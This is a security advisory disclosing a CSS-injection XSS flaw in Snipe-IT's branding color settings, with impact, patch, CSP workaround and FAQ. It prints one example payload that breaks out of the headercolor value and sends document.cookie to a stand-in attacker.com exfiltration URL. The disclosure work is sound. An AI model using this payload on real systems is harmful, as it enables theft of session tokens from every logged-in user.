GHSA-w7qw-5wfv-gwx9: XSS
Impact
Because default.blade.php is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.
Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.
Details The headercolor setting (and related color settings such as navcolor and linkcolor) is rendered inside a CSS <style> block using Laravel's {{ }} syntax:
--main-theme-color: {{ $snipeSettings->headercolor ?? '#3c8dbc' }};
Although {{ }} applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the Settings > Branding page can inject arbitrary CSS by setting the headercolor value to something like:
#fff; } body { background: url('https://attacker.com/exfil?c='+document.cookie); } .x {
This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.
Patches Patched in https://github.com/grokability/snipe-it/pull/19097
Workarounds Enable CSP in your .env file.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/snipe/snipe-itto a version that resolves this vulnerability.Fixed in 8.6.2 - Upgrade
Upgrade
grokability/snipe-itto a version that resolves this vulnerability.Patch pull/19097 - Configuration
Enable CSP in the Snipe-IT .env file because CSP is disabled by default in Snipe-IT installations.
Snipe-IT (CSP) Content Security Policy (CSP) = enabled
Event History
Frequently Asked Questions
Who can exploit this issue?
An attacker needs superadmin access to the Settings > Branding page, or equivalent insider access, to save a malicious value in header_color or related color settings such as nav_color and link_color.
Are default installations affected?
Yes. Content Security Policy is disabled by default in Snipe-IT installations, removing the primary browser-level mitigation described for this attack.
How quickly does a saved payload affect users?
Because the affected layout is loaded on every authenticated page, active user sessions are affected on their next authenticated page load after the malicious setting is saved. This can include other administrators.
What mitigation is identified if a fix cannot be applied immediately?
Enable a Content Security Policy, which is identified as the primary browser-level mitigation for this attack. Restricting access to the Branding settings to trusted superadmins also limits who can save a malicious payload.